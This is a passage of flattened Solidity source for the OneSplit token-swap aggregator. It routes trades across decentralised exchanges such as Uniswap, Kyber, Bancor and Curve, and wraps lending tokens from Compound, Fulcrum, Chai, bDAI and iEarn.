if (fromToken == toToken) {
return;
}
_swapFloor(
fromToken,
toToken,
amount,
distribution,
flags
);
}
function _swapFloor(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] memory distribution,
uint256 /*flags*/ // See constants in IOneSplit.sol
) internal;
}
contract OneSplit is IOneSplit, OneSplitRoot {
IOneSplitView public oneSplitView;
constructor(IOneSplitView _oneSplitView) public {
oneSplitView = _oneSplitView;
}
function() external payable {
// solium-disable-next-line security/no-tx-origin
require(msg.sender != tx.origin);
}
function getExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
return oneSplitView.getExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
function swap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 /*minReturn*/,
uint256[] memory distribution,
uint256 /*flags*/ // See constants in IOneSplit.sol
) public payable {
if (fromToken == toToken) {
return;
}
function(IERC20,IERC20,uint256) returns(uint256)[DEXES_COUNT] memory reserves = [
_swapOnUniswap,
_swapOnKyber,
_swapOnBancor,
_swapOnOasis,
_swapOnCurveCompound,
_swapOnCurveUsdt,
_swapOnCurveY,
_swapOnCurveBinance,
_swapOnCurveSynthetix,
_swapOnUniswapCompound,
_swapOnUniswapChai,
_swapOnUniswapAave,
_swapOnMooniswap
];
require(distribution.length <= reserves.length, "OneSplit: Distribution array should not exceed reserves array size");
uint256 parts = 0;
uint256 lastNonZeroIndex = 0;
for (uint i = 0; i < distribution.length; i++) {
if (distribution[i] > 0) {
parts = parts.add(distribution[i]);
lastNonZeroIndex = i;
}
}
require(parts > 0, "OneSplit: distribution should contain non-zeros");
uint256 remainingAmount = amount;
for (uint i = 0; i < distribution.length; i++) {
if (distribution[i] == 0) {
continue;
}
uint256 swapAmount = amount.mul(distribution[i]).div(parts);
if (i == lastNonZeroIndex) {
swapAmount = remainingAmount;
}
remainingAmount -= swapAmount;
reserves[i](fromToken, toToken, swapAmount);
}
}
// Swap helpers
function _swapOnCurveCompound(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
int128 i = (fromToken == dai ? 1 : 0) + (fromToken == usdc ? 2 : 0);
int128 j = (destToken == dai ? 1 : 0) + (destToken == usdc ? 2 : 0);
if (i == 0 || j == 0) {
return 0;
}
_infiniteApproveIfNeeded(fromToken, address(curveCompound));
curveCompound.exchange_underlying(i - 1, j - 1, amount, 0);
}
function _swapOnCurveUsdt(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
int128 i = (fromToken == dai ? 1 : 0) +
(fromToken == usdc ? 2 : 0) +
(fromToken == usdt ? 3 : 0);
int128 j = (destToken == dai ? 1 : 0) +
(destToken == usdc ? 2 : 0) +
(destToken == usdt ? 3 : 0);
if (i == 0 || j == 0) {
return 0;
}
_infiniteApproveIfNeeded(fromToken, address(curveUsdt));
curveUsdt.exchange_underlying(i - 1, j - 1, amount, 0);
}
function _swapOnCurveY(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
int128 i = (fromToken == dai ? 1 : 0) +
(fromToken == usdc ? 2 : 0) +
(fromToken == usdt ? 3 : 0) +
(fromToken == tusd ? 4 : 0);
int128 j = (destToken == dai ? 1 : 0) +
(destToken == usdc ? 2 : 0) +
(destToken == usdt ? 3 : 0) +
(destToken == tusd ? 4 : 0);
if (i == 0 || j == 0) {
return 0;
}
_infiniteApproveIfNeeded(fromToken, address(curveY));
curveY.exchange_underlying(i - 1, j - 1, amount, 0);
}
function _swapOnCurveBinance(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
int128 i = (fromToken == dai ? 1 : 0) +
(fromToken == usdc ? 2 : 0) +
(fromToken == usdt ? 3 : 0) +
(fromToken == busd ? 4 : 0);
int128 j = (destToken == dai ? 1 : 0) +
(destToken == usdc ? 2 : 0) +
(destToken == usdt ? 3 : 0) +
(destToken == busd ? 4 : 0);
if (i == 0 || j == 0) {
return 0;
}
_infiniteApproveIfNeeded(fromToken, address(curveBinance));
curveBinance.exchange_underlying(i - 1, j - 1, amount, 0);
}
function _swapOnCurveSynthetix(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
int128 i = (fromToken == dai ? 1 : 0) +
(fromToken == usdc ? 2 : 0) +
(fromToken == usdt ? 3 : 0) +
(fromToken == susd ? 4 : 0);
int128 j = (destToken == dai ? 1 : 0) +
(destToken == usdc ? 2 : 0) +
(destToken == usdt ? 3 : 0) +
(destToken == susd ? 4 : 0);
if (i == 0 || j == 0) {
return 0;
}
_infiniteApproveIfNeeded(fromToken, address(curveSynthetix));
curveSynthetix.exchange_underlying(i - 1, j - 1, amount, 0);
}
function _swapOnUniswap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount
) internal returns(uint256) {
uint256 returnAmount = amount;
if (!fromToken.isETH()) {
IUniswapExchange fromExchange = uniswapFactory.getExchange(fromToken);
if (fromExchange != IUniswapExchange(0)) {
_infiniteApproveIfNeeded(fromToken, address(fromExchange));
returnAmount = fromExchange.tokenToEthSwapInput(returnAmount, 1, now);
}
}
if (!toToken.isETH()) {
IUniswapExchange toExchange = uniswapFactory.getExchange(toToken);
if (toExchange != IUniswapExchange(0)) {
returnAmount = toExchange.ethToTokenSwapInput.value(returnAmount)(1, now);
}
}
return returnAmount;
}
function _swapOnUniswapCompound(
IERC20 fromToken,
IERC20 toToken,
uint256 amount
) internal returns(uint256) {
if (!fromToken.isETH()) {
ICompoundToken fromCompound = _getCompoundToken(fromToken);
_infiniteApproveIfNeeded(fromToken, address(fromCompound));
fromCompound.mint(amount);
return _swapOnUniswap(IERC20(fromCompound), toToken, IERC20(fromCompound).universalBalanceOf(address(this)));
}
if (!toToken.isETH()) {
ICompoundToken toCompound = _getCompoundToken(toToken);
uint256 compoundAmount = _swapOnUniswap(fromToken, IERC20(toCompound), amount);
toCompound.redeem(compoundAmount);
return toToken.universalBalanceOf(address(this));
}
return 0;
}
function _swapOnUniswapChai(
IERC20 fromToken,
IERC20 toToken,
uint256 amount
) internal returns(uint256) {
if (fromToken == dai) {
_infiniteApproveIfNeeded(fromToken, address(chai));
chai.join(address(this), amount);
return _swapOnUniswap(IERC20(chai), toToken, IERC20(chai).universalBalanceOf(address(this)));
}
if (toToken == dai) {
uint256 chaiAmount = _swapOnUniswap(fromToken, IERC20(chai), amount);
chai.exit(address(this), chaiAmount);
return toToken.universalBalanceOf(address(this));
}
return 0;
}
function _swapOnUniswapAave(
IERC20 fromToken,
IERC20 toToken,
uint256 amount
) internal returns(uint256) {
if (!fromToken.isETH()) {
IAaveToken fromAave = _getAaveToken(fromToken);
_infiniteApproveIfNeeded(fromToken, address(fromAave));
aave.deposit(fromToken, amount, 1101);
return _swapOnUniswap(IERC20(fromAave), toToken, IERC20(fromAave).universalBalanceOf(address(this)));
}
if (!toToken.isETH()) {
IAaveToken toAave = _getAaveToken(toToken);
uint256 aaveAmount = _swapOnUniswap(fromToken, IERC20(toAave), amount);
toAave.redeem(aaveAmount);
return aaveAmount;
}
return 0;
}
function _swapOnMooniswap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount
) internal returns(uint256) {
IMooniswap mooniswap = mooniswapRegistry.target();
_infiniteApproveIfNeeded(fromToken, address(mooniswap));
return mooniswap.swap.value(fromToken.isETH() ? amount : 0)(
fromToken,
toToken,
amount,
0
);
}
function _swapOnKyber(
IERC20 fromToken,
IERC20 toToken,
uint256 amount
) internal returns(uint256) {
_infiniteApproveIfNeeded(fromToken, address(kyberNetworkProxy));
return kyberNetworkProxy.tradeWithHint.value(fromToken.isETH() ? amount : 0)(
fromToken.isETH() ? ETH_ADDRESS : fromToken,
amount,
toToken.isETH() ? ETH_ADDRESS : toToken,
address(this),
1 << 255,
0,
0x4D37f28D2db99e8d35A6C725a5f1749A085850a3,
""
);
}
function _swapOnBancor(
IERC20 fromToken,
IERC20 toToken,
uint256 amount
) internal returns(uint256) {
if (fromToken.isETH()) {
bancorEtherToken.deposit.value(amount)();
}
IBancorNetwork bancorNetwork = IBancorNetwork(bancorContractRegistry.addressOf("BancorNetwork"));
address[] memory path = _buildBancorPath(fromToken, toToken);
_infiniteApproveIfNeeded(fromToken.isETH() ? bancorEtherToken : fromToken, address(bancorNetwork));
uint256 returnAmount = bancorNetwork.claimAndConvert(path, amount, 1);
if (toToken.isETH()) {
bancorEtherToken.withdraw(bancorEtherToken.balanceOf(address(this)));
}
return returnAmount;
}
function _swapOnOasis(
IERC20 fromToken,
IERC20 toToken,
uint256 amount
) internal returns(uint256) {
if (fromToken.isETH()) {
wethToken.deposit.value(amount)();
}
_infiniteApproveIfNeeded(fromToken.isETH() ? wethToken : fromToken, address(oasisExchange));
uint256 returnAmount = oasisExchange.sellAllAmount(
fromToken.isETH() ? wethToken : fromToken,
amount,
toToken.isETH() ? wethToken : toToken,
1
);
if (toToken.isETH()) {
wethToken.withdraw(wethToken.balanceOf(address(this)));
}
return returnAmount;
}
}
// File: contracts/OneSplitMultiPath.sol
pragma solidity ^0.5.0;
contract OneSplitMultiPathView is OneSplitViewWrapBase {
function getExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns (
uint256 returnAmount,
uint256[] memory distribution
)
{
if (fromToken == toToken) {
return (amount, new uint256[](DEXES_COUNT));
}
if (!fromToken.isETH() && !toToken.isETH() && flags.check(FLAG_ENABLE_MULTI_PATH_ETH)) {
(returnAmount, distribution) = super.getExpectedReturn(
fromToken,
ETH_ADDRESS,
amount,
parts,
flags | FLAG_DISABLE_BANCOR | FLAG_DISABLE_CURVE_COMPOUND | FLAG_DISABLE_CURVE_USDT | FLAG_DISABLE_CURVE_Y | FLAG_DISABLE_CURVE_BINANCE
);
uint256[] memory dist;
(returnAmount, dist) = super.getExpectedReturn(
ETH_ADDRESS,
toToken,
returnAmount,
parts,
flags | FLAG_DISABLE_BANCOR | FLAG_DISABLE_CURVE_COMPOUND | FLAG_DISABLE_CURVE_USDT | FLAG_DISABLE_CURVE_Y | FLAG_DISABLE_CURVE_BINANCE
);
for (uint i = 0; i < distribution.length; i++) {
distribution[i] = distribution[i].add(dist[i] << 8);
}
return (returnAmount, distribution);
}
if (fromToken != dai && toToken != dai && flags.check(FLAG_ENABLE_MULTI_PATH_DAI)) {
(returnAmount, distribution) = super.getExpectedReturn(
fromToken,
dai,
amount,
parts,
flags
);
uint256[] memory dist;
(returnAmount, dist) = super.getExpectedReturn(
dai,
toToken,
returnAmount,
parts,
flags
);
for (uint i = 0; i < distribution.length; i++) {
distribution[i] = distribution[i].add(dist[i] << 8);
}
return (returnAmount, distribution);
}
if (fromToken != usdc && toToken != usdc && flags.check(FLAG_ENABLE_MULTI_PATH_USDC)) {
(returnAmount, distribution) = super.getExpectedReturn(
fromToken,
usdc,
amount,
parts,
flags
);
uint256[] memory dist;
(returnAmount, dist) = super.getExpectedReturn(
usdc,
toToken,
returnAmount,
parts,
flags
);
for (uint i = 0; i < distribution.length; i++) {
distribution[i] = distribution[i].add(dist[i] << 8);
}
return (returnAmount, distribution);
}
return super.getExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
}
contract OneSplitMultiPath is OneSplitBaseWrap {
function _swap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
if (!fromToken.isETH() && !toToken.isETH() && flags.check(FLAG_ENABLE_MULTI_PATH_ETH)) {
uint256[] memory dist = new uint256[](distribution.length);
for (uint i = 0; i < distribution.length; i++) {
dist[i] = distribution[i] & 0xFF;
}
super._swap(
fromToken,
ETH_ADDRESS,
amount,
dist,
flags
);
for (uint i = 0; i < distribution.length; i++) {
dist[i] = (distribution[i] >> 8) & 0xFF;
}
super._swap(
ETH_ADDRESS,
toToken,
address(this).balance,
dist,
flags
);
return;
}
if (fromToken != dai && toToken != dai && flags.check(FLAG_ENABLE_MULTI_PATH_DAI)) {
uint256[] memory dist = new uint256[](distribution.length);
for (uint i = 0; i < distribution.length; i++) {
dist[i] = distribution[i] & 0xFF;
}
super._swap(
fromToken,
dai,
amount,
dist,
flags
);
for (uint i = 0; i < distribution.length; i++) {
dist[i] = (distribution[i] >> 8) & 0xFF;
}
super._swap(
dai,
toToken,
dai.balanceOf(address(this)),
dist,
flags
);
return;
}
if (fromToken != usdc && toToken != usdc && flags.check(FLAG_ENABLE_MULTI_PATH_USDC)) {
uint256[] memory dist = new uint256[](distribution.length);
for (uint i = 0; i < distribution.length; i++) {
dist[i] = distribution[i] & 0xFF;
}
super._swap(
fromToken,
usdc,
amount,
dist,
flags
);
for (uint i = 0; i < distribution.length; i++) {
dist[i] = (distribution[i] >> 8) & 0xFF;
}
super._swap(
usdc,
toToken,
usdc.balanceOf(address(this)),
dist,
flags
);
return;
}
super._swap(
fromToken,
toToken,
amount,
distribution,
flags
);
}
}
// File: contracts/OneSplitCompound.sol
pragma solidity ^0.5.0;
contract OneSplitCompoundBase {
function _getCompoundUnderlyingToken(IERC20 token) internal pure returns(IERC20) {
if (token == IERC20(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5)) { // ETH
return IERC20(0);
}
if (token == IERC20(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643)) { // DAI
return IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
}
if (token == IERC20(0x6C8c6b02E7b2BE14d4fA6022Dfd6d75921D90E4E)) { // BAT
return IERC20(0x0D8775F648430679A709E98d2b0Cb6250d2887EF);
}
if (token == IERC20(0x158079Ee67Fce2f58472A96584A73C7Ab9AC95c1)) { // REP
return IERC20(0x1985365e9f78359a9B6AD760e32412f4a445E862);
}
if (token == IERC20(0x39AA39c021dfbaE8faC545936693aC917d5E7563)) { // USDC
return IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
}
if (token == IERC20(0xC11b1268C1A384e55C48c2391d8d480264A3A7F4)) { // WBTC
return IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
}
if (token == IERC20(0xB3319f5D18Bc0D84dD1b4825Dcde5d5f7266d407)) { // ZRX
return IERC20(0xE41d2489571d322189246DaFA5ebDe1F4699F498);
}
if (token == IERC20(0xf650C3d88D12dB855b8bf7D11Be6C55A4e07dCC9)) { // USDT
return IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
}
return IERC20(-1);
}
}
contract OneSplitCompoundView is OneSplitViewWrapBase, OneSplitCompoundBase {
function getExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
return _compoundGetExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
function _compoundGetExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
private
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
if (fromToken == toToken) {
return (amount, new uint256[](DEXES_COUNT));
}
if (!flags.check(FLAG_DISABLE_COMPOUND)) {
IERC20 underlying = _getCompoundUnderlyingToken(fromToken);
if (underlying != IERC20(-1)) {
uint256 compoundRate = ICompoundToken(address(fromToken)).exchangeRateStored();
return _compoundGetExpectedReturn(
underlying,
toToken,
amount.mul(compoundRate).div(1e18),
parts,
flags
);
}
underlying = _getCompoundUnderlyingToken(toToken);
if (underlying != IERC20(-1)) {
uint256 compoundRate = ICompoundToken(address(toToken)).exchangeRateStored();
(returnAmount, distribution) = super.getExpectedReturn(
fromToken,
underlying,
amount,
parts,
flags
);
returnAmount = returnAmount.mul(1e18).div(compoundRate);
return (returnAmount, distribution);
}
}
return super.getExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
}
contract OneSplitCompound is OneSplitBaseWrap, OneSplitCompoundBase {
function _swap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
_compundSwap(
fromToken,
toToken,
amount,
distribution,
flags
);
}
function _compundSwap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) private {
if (fromToken == toToken) {
return;
}
if (!flags.check(FLAG_DISABLE_COMPOUND)) {
IERC20 underlying = _getCompoundUnderlyingToken(fromToken);
if (underlying != IERC20(-1)) {
ICompoundToken(address(fromToken)).redeem(amount);
uint256 underlyingAmount = underlying.universalBalanceOf(address(this));
return _compundSwap(
underlying,
toToken,
underlyingAmount,
distribution,
flags
);
}
underlying = _getCompoundUnderlyingToken(toToken);
if (underlying != IERC20(-1)) {
super._swap(
fromToken,
underlying,
amount,
distribution,
flags
);
uint256 underlyingAmount = underlying.universalBalanceOf(address(this));
if (underlying.isETH()) {
cETH.mint.value(underlyingAmount)();
} else {
_infiniteApproveIfNeeded(underlying, address(toToken));
ICompoundToken(address(toToken)).mint(underlyingAmount);
}
return;
}
}
return super._swap(
fromToken,
toToken,
amount,
distribution,
flags
);
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20Detailed.sol
pragma solidity ^0.5.0;
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
// File: contracts/interface/IFulcrum.sol
pragma solidity ^0.5.0;
contract IFulcrumToken is IERC20 {
function tokenPrice() external view returns (uint256);
function loanTokenAddress() external view returns (address);
function mintWithEther(address receiver) external payable returns (uint256 mintAmount);
function mint(address receiver, uint256 depositAmount) external returns (uint256 mintAmount);
function burnToEther(address receiver, uint256 burnAmount)
external
returns (uint256 loanAmountPaid);
function burn(address receiver, uint256 burnAmount) external returns (uint256 loanAmountPaid);
}
// File: contracts/OneSplitFulcrum.sol
pragma solidity ^0.5.0;
contract OneSplitFulcrumBase {
using UniversalERC20 for IERC20;
function _isFulcrumToken(IERC20 token) public view returns(IERC20) {
if (token.isETH()) {
return IERC20(-1);
}
(bool success, bytes memory data) = address(token).staticcall.gas(5000)(abi.encodeWithSelector(
ERC20Detailed(address(token)).name.selector
));
if (!success) {
return IERC20(-1);
}
bool foundBZX = false;
for (uint i = 0; i + 6 < data.length; i++) {
if (data[i + 0] == "F" &&
data[i + 1] == "u" &&
data[i + 2] == "l" &&
data[i + 3] == "c" &&
data[i + 4] == "r" &&
data[i + 5] == "u" &&
data[i + 6] == "m")
{
foundBZX = true;
break;
}
}
if (!foundBZX) {
return IERC20(-1);
}
(success, data) = address(token).staticcall.gas(5000)(abi.encodeWithSelector(
IFulcrumToken(address(token)).loanTokenAddress.selector
));
if (!success) {
return IERC20(-1);
}
return abi.decode(data, (IERC20));
}
}
contract OneSplitFulcrumView is OneSplitViewWrapBase, OneSplitFulcrumBase {
function getExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
return _fulcrumGetExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
function _fulcrumGetExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
private
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
if (fromToken == toToken) {
return (amount, new uint256[](DEXES_COUNT));
}
if (!flags.check(FLAG_DISABLE_FULCRUM)) {
IERC20 underlying = _isFulcrumToken(fromToken);
if (underlying != IERC20(-1)) {
uint256 fulcrumRate = IFulcrumToken(address(fromToken)).tokenPrice();
return _fulcrumGetExpectedReturn(
underlying,
toToken,
amount.mul(fulcrumRate).div(1e18),
parts,
flags
);
}
underlying = _isFulcrumToken(toToken);
if (underlying != IERC20(-1)) {
uint256 fulcrumRate = IFulcrumToken(address(toToken)).tokenPrice();
(returnAmount, distribution) = super.getExpectedReturn(
fromToken,
underlying,
amount,
parts,
flags
);
returnAmount = returnAmount.mul(1e18).div(fulcrumRate);
return (returnAmount, distribution);
}
}
return super.getExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
}
contract OneSplitFulcrum is OneSplitBaseWrap, OneSplitFulcrumBase {
function _swap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
_fulcrumSwap(
fromToken,
toToken,
amount,
distribution,
flags
);
}
function _fulcrumSwap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) private {
if (fromToken == toToken) {
return;
}
if (!flags.check(FLAG_DISABLE_FULCRUM)) {
IERC20 underlying = _isFulcrumToken(fromToken);
if (underlying != IERC20(-1)) {
if (underlying.isETH()) {
IFulcrumToken(address(fromToken)).burnToEther(address(this), amount);
} else {
IFulcrumToken(address(fromToken)).burn(address(this), amount);
}
uint256 underlyingAmount = underlying.universalBalanceOf(address(this));
return super._swap(
underlying,
toToken,
underlyingAmount,
distribution,
flags
);
}
underlying = _isFulcrumToken(toToken);
if (underlying != IERC20(-1)) {
super._swap(
fromToken,
underlying,
amount,
distribution,
flags
);
uint256 underlyingAmount = underlying.universalBalanceOf(address(this));
if (underlying.isETH()) {
IFulcrumToken(address(toToken)).mintWithEther.value(underlyingAmount)(address(this));
} else {
_infiniteApproveIfNeeded(underlying, address(toToken));
IFulcrumToken(address(toToken)).mint(address(this), underlyingAmount);
}
return;
}
}
return super._swap(
fromToken,
toToken,
amount,
distribution,
flags
);
}
}
// File: contracts/OneSplitChai.sol
pragma solidity ^0.5.0;
contract OneSplitChaiView is OneSplitViewWrapBase {
function getExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
if (fromToken == toToken) {
return (amount, new uint256[](DEXES_COUNT));
}
if (!flags.check(FLAG_DISABLE_CHAI)) {
if (fromToken == IERC20(chai)) {
return super.getExpectedReturn(
dai,
toToken,
chai.chaiToDai(amount),
parts,
flags
);
}
if (toToken == IERC20(chai)) {
(returnAmount, distribution) = super.getExpectedReturn(
fromToken,
dai,
amount,
parts,
flags
);
return (chai.daiToChai(returnAmount), distribution);
}
}
return super.getExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
}
contract OneSplitChai is OneSplitBaseWrap {
function _swap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
if (fromToken == toToken) {
return;
}
if (!flags.check(FLAG_DISABLE_CHAI)) {
if (fromToken == IERC20(chai)) {
chai.exit(address(this), amount);
return super._swap(
dai,
toToken,
dai.balanceOf(address(this)),
distribution,
flags
);
}
if (toToken == IERC20(chai)) {
super._swap(
fromToken,
dai,
amount,
distribution,
flags
);
_infiniteApproveIfNeeded(dai, address(chai));
chai.join(address(this), dai.balanceOf(address(this)));
return;
}
}
return super._swap(
fromToken,
toToken,
amount,
distribution,
flags
);
}
}
// File: contracts/interface/IBdai.sol
pragma solidity ^0.5.0;
contract IBdai is IERC20 {
function join(uint256) external;
function exit(uint256) external;
}
// File: contracts/OneSplitBdai.sol
pragma solidity ^0.5.0;
contract OneSplitBdaiBase {
IBdai public bdai = IBdai(0x6a4FFAafa8DD400676Df8076AD6c724867b0e2e8);
IERC20 public btu = IERC20(0xb683D83a532e2Cb7DFa5275eED3698436371cc9f);
}
contract OneSplitBdaiView is OneSplitViewWrapBase, OneSplitBdaiBase {
function getExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns (uint256 returnAmount, uint256[] memory distribution)
{
if (fromToken == toToken) {
return (amount, new uint256[](DEXES_COUNT));
}
if (!flags.check(FLAG_DISABLE_BDAI)) {
if (fromToken == IERC20(bdai)) {
return super.getExpectedReturn(
dai,
toToken,
amount,
parts,
flags
);
}
if (toToken == IERC20(bdai)) {
return super.getExpectedReturn(
fromToken,
dai,
amount,
parts,
flags
);
}
}
return super.getExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
}
contract OneSplitBdai is OneSplitBaseWrap, OneSplitBdaiBase {
function _swap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
if (fromToken == toToken) {
return;
}
if (!flags.check(FLAG_DISABLE_BDAI)) {
if (fromToken == IERC20(bdai)) {
bdai.exit(amount);
uint256 btuBalance = btu.balanceOf(address(this));
if (btuBalance > 0) {
(,uint256[] memory btuDistribution) = getExpectedReturn(
btu,
toToken,
btuBalance,
1,
flags
);
_swap(
btu,
toToken,
btuBalance,
btuDistribution,
flags
);
}
return super._swap(
dai,
toToken,
amount,
distribution,
flags
);
}
if (toToken == IERC20(bdai)) {
super._swap(fromToken, dai, amount, distribution, flags);
_infiniteApproveIfNeeded(dai, address(bdai));
bdai.join(dai.balanceOf(address(this)));
return;
}
}
return super._swap(fromToken, toToken, amount, distribution, flags);
}
}
// File: contracts/interface/IIearn.sol
pragma solidity ^0.5.0;
contract IIearn is IERC20 {
function token() external view returns(IERC20);
function calcPoolValueInToken() external view returns(uint256);
function deposit(uint256 _amount) external;
function withdraw(uint256 _shares) external;
}
// File: contracts/OneSplitIearn.sol
pragma solidity ^0.5.0;
contract OneSplitIearnBase {
function _yTokens() internal pure returns(IIearn[10] memory) {
return [
IIearn(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01),
IIearn(0x04Aa51bbcB46541455cCF1B8bef2ebc5d3787EC9),
IIearn(0x73a052500105205d34Daf004eAb301916DA8190f),
IIearn(0x83f798e925BcD4017Eb265844FDDAbb448f1707D),
IIearn(0xd6aD7a6750A7593E092a9B218d66C0A814a3436e),
IIearn(0xF61718057901F84C4eEC4339EF8f0D86D2B45600),
IIearn(0x04bC0Ab673d88aE9dbC9DA2380cB6B79C4BCa9aE),
IIearn(0xC2cB1040220768554cf699b0d863A3cd4324ce32),
IIearn(0xE6354ed5bC4b393a5Aad09f21c46E101e692d447),
IIearn(0x26EA744E5B887E5205727f55dFBE8685e3b21951)
];
}
}
contract OneSplitIearnView is OneSplitViewWrapBase, OneSplitIearnBase {
function getExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns (uint256 returnAmount, uint256[] memory distribution)
{
return _iearnGetExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
function _iearnGetExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
private
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
if (fromToken == toToken) {
return (amount, new uint256[](DEXES_COUNT));
}
IIearn[10] memory yTokens = _yTokens();
if (!flags.check(FLAG_DISABLE_IEARN)) {
for (uint i = 0; i < yTokens.length; i++) {
if (fromToken == IERC20(yTokens[i])) {
return _iearnGetExpectedReturn(
yTokens[i].token(),
toToken,
amount
.mul(yTokens[i].calcPoolValueInToken())
.div(yTokens[i].totalSupply()),
parts,
flags
);
}
}
for (uint i = 0; i < yTokens.length; i++) {
if (toToken == IERC20(yTokens[i])) {
(uint256 ret, uint256[] memory dist) = super.getExpectedReturn(
fromToken,
yTokens[i].token(),
amount,
parts,
flags
);
return (
ret
.mul(yTokens[i].totalSupply())
.div(yTokens[i].calcPoolValueInToken()),
dist
);
}
}
}
return super.getExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
}
contract OneSplitIearn is OneSplitBaseWrap, OneSplitIearnBase {
function _swap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
_iearnSwap(
fromToken,
toToken,
amount,
distribution,
flags
);
}
function _iearnSwap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) private {
if (fromToken == toToken) {
return;
}
IIearn[10] memory yTokens = _yTokens();
if (!flags.check(FLAG_DISABLE_IEARN)) {
for (uint i = 0; i < yTokens.length; i++) {
if (fromToken == IERC20(yTokens[i])) {
IERC20 underlying = yTokens[i].token();
yTokens[i].withdraw(amount);
_iearnSwap(underlying, toToken, underlying.balanceOf(address(this)), distribution, flags);
return;
}
}
for (uint i = 0; i < yTokens.length; i++) {
if (toToken == IERC20(yTokens[i])) {
IERC20 underlying = yTokens[i].token();
super._swap(fromToken, underlying, amount, distribution, flags);
_infiniteApproveIfNeeded(underlying, address(yTokens[i]));
yTokens[i].deposit(underlying.balanceOf(address(this)));
return;
}
}
}
return super._swap(fromToken, toToken, amount, distribution, flags);
}
}
// File: contracts/interface/IIdle.sol
pragma solidity ^0.5.0;
contract IIdle is IERC20 {
function token()
external view returns (IERC20);
function tokenPrice()
external view returns (uint256);
function mintIdleToken(uint256 _amount, uint256[] calldata _clientProtocolAmounts)
external returns (uint256 mintedTokens);
